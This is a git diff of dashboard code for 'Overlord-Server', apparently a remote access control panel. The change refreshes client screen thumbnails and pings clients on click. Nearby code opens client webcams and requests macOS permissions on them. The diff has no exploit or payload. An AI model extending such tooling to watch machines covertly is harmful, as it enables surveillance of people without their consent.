@@ import { renderCachedClients, startAutoRefresh, sendCommand, + pingClientNow, requestPreview, requestThumbnail, markManualDisconnect, @@ -1032,6 +1033,15 @@ document.querySelectorAll(".dashboard-menu").forEach((details) => { let dashboardThumbnailLoader = null; +function refreshDashboardThumbnail(clientId) { + if (dashboardThumbnailLoader?.refreshNow(clientId)) { + return; + } + // The loader initializes asynchronously; preserve manual refreshes made + // before it is ready. + requestThumbnail(clientId); +} + async function isDashboardThumbnailEnabled() { try { const res = await fetch("/api/settings/thumbnails", { credentials: "include" }); @@ -1105,8 +1115,8 @@ function initializeRenderer() { }, openModal, requestPreview, - requestThumbnail, - pingClient: (id) => sendCommand(id, "ping"), + requestThumbnail: refreshDashboardThumbnail, + pingClient: pingClientNow, onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"), onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey), onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }), diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 3f76214..93350d5 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -518,6 +518,10 @@ export function createRenderer({ const thumbImg = e.target.closest(".thumb-img"); if (thumbImg) { + if (card.dataset.online === "true") { + if (pingClient) pingClient(clientId); + requestThumbnail(clientId); + } if (thumbImg.src) openModal(thumbImg.src); return; } diff --git a/Overlord-Server/public/assets/thumbnail-loader.js b/Overlord-Server/public/assets/thumbnail-loader.js index fd93f6b..e4d93fa 100644 --- a/Overlord-Server/public/assets/thumbnail-loader.js +++ b/Overlord-Server/public/assets/thumbnail-loader.js @@ -157,11 +157,14 @@ export class ThumbnailLoader { } refreshNow(clientId) { + let touched = false; for (const rec of this.records.values()) { if (clientId && rec.clientId !== clientId) continue; rec.lastTriggerAt = 0; + touched = true; } this.tick(); + return touched; } applyVersion(element, rec) { diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 4e3ce44..de978ef 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -679,6 +679,22 @@ + + + +